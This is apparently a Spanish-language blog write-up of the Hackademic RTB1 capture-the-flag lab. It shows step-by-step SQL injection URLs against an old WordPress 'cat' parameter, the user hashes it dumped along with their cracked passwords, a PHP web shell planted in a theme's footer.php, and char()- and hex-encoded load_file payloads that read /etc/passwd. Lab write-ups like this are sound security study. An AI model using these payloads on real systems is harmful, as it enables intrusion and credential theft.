sábado, 3 de diciembre de 2011

Hackademia RTB1

Bueno, hoy voy a analizar un poco este wargame que me descargué hace un tiempecillo y que he estado probando este fin de semana..

Se trata de "Root the box", que lo conocí a través de la gente de sec-track:
http://www.sec-track.com/Wiki/wiki/index.php/Hackademic.RTB1
Se trata de una imagen de vmware que se puede abrir sin problemas con VirtualBox. Al levantar la máquina, ya coge IP mediante DHCP, así pues.. lo primero será, mirar a ver que tiene... así que.. vamos con un Nmap.

Después de ver esto, tenemos que el único puerto abierto y por lo tanto punto de entrada, se trata del servidor web, ya que ssh se encuentra cerrado.

Así pues si accedemos a la aplicación:
http://192.168.0.190/
podemos ver que no hay prácticamente nada.. tan solo un mensaje que indica que la aplicación principal está en /Hackademia_RTB1/. Al acceder, veremos que es una aplicación prácticamente en pañales, con tan solo 2 enlaces, así que si buscamos un poco, por ver si hay algo más que no esté enlazado...
  • http://192.168.0.190/phpMyAdmin/ - Forbidden
  • http://192.168.0.190/Hackademia_RTB1/wp-admin - Ok
  • http://192.168.0.190/Hackademia_RTB1/wp-login - Ok
  • http://192.168.0.190/Hackademia_RTB1/xmlrpc.php - Ok
  • http://192.168.0.190/Hackademia_RTB1/license.txt - Ok

viendo estos archivos, y si miramos dentro del contenido que envía el servidor, podemos confirmar que se trata de un Wordpress 1.5.1.1. Si se busca un poco por internet, se puede ver que esta versión dispone de diversas vulnerabilidades, entre ellas SQLinjection y XSS (que ésta no nos sirve).



Así que.. mirando, probando.. he visto que se trata de la variable "cat" que es vulnerable a SQLi. He estado buscando a ver si estaba documentada y no he visto demasiado, así que probando de hacerlo a mano. Así que pongo aquí algunas consultas que me han ido llevando a sacar información:
Para ver el número de columnas que tiene la sentencia:
  • http://192.168.0.190/Hackademic_RTB1/?cat=1%20order%20by%205
  • http://192.168.0.190/Hackademic_RTB1/?cat=1%20order%20by%206

hacemos un union con una consulta nuestra, para ver si existe algún campo que sea visible:
http://192.168.0.190/Hackademic_RTB1/?cat=1%20union%20select%201,2,3,4,5
En un principio no se puede observar cambios, pero esto es debido a que al final de la sentencia añade un "LIMIT 1" y como la primera parte ya nos devuelve "Uncategoritzed" es lo que utiliza todo el rato, así que se trata de que la primera consulta no devuelva nada, así que, hacemos que siempre sea falsa añadiendo la condición "and 1=0":
  • http://192.168.0.190/Hackademic_RTB1/?cat=1%20and%201=0%20union%20select%201,2,3,4,5

Con esto podemos ver que el campo "2" se muestra en el título, por lo tanto es el parámetro que usaremos para realizar extraer la información.
Buscando información acerca de las tablas que usa la base de datos de wordpress, vemos la especificación de la tabla de usuarios:
http://codex.wordpress.org/Database_Description#Table:_wp_users
lo que nos interesa son los campos user_login y user_pass:

1:NickJames:21232f297a57a5a743894a0e4a801fc3 - admin
2:JohnSmith:b986448f0bb9e5e124ca91d3d650f52c - PUPPIES
3:GeorgeMiller:7cbb3252ba6b7e9c422fac5334d22054 - q1w2e3
4:TonyBlack:a6e514f9486b83cb53d8d932f9a04292 - napoleon
5:JasonKonnors:8601f6e1028a8e8a966f6c33fcd9aec4 - maxwell
6:MaxBucky:50484c19f1afdaf3841a0d821ed393d2 - kernel

Entrando en cada uno de los perfiles dentro de wordpress, es posible ver que GeorgeMiller es el administrador de la aplicación, vamos, quien tiene más privilegios.

La idea, es modificar alguno de los archivos existentes en el sistema, por tal de poder ejecutar php y hacer un interprete de comandos vía web. Así pues, modificando el footer.php de uno de los templates, añadiendo código en php tenemos lo siguiente:



Así que mediante esta consola, ya podemos ejecutar comandos, como por ejemplo...:
  • http://192.168.0.190/Hackademic_RTB1/wp-content/themes/starburst/footer.php?cmd=whoami -> apache



Bueno, y ya que estoy y comento algo de la solución que proponen la gente de sec-track, comentar un par de cosas que no sabía y que me han parecido muy interesantes y útiles:
Para empezar, la codificación del archivo utilizando "char" para evitar las comillas y que se provoquen errores... esto lo he hecho inumerables veces con XSS, pero no se me había ocurrido para un SQLi.
  • http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),3,4,5

Y segundo, que al codificar el nombre del archivo en Hex, te permite obtenerlo igualmente:
  • http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file(0x2f6574632f706173737764),3,4,5
Ambos obtienen el archivo /etc/passwd, ya que con la siguiente petición provoca un error:
  • http://192.168.64.137/Hackademic_RTB1/?cat=0 union select 1,load_file('/etc/passwd'),3,4,5

No hay comentarios:

Publicar un comentario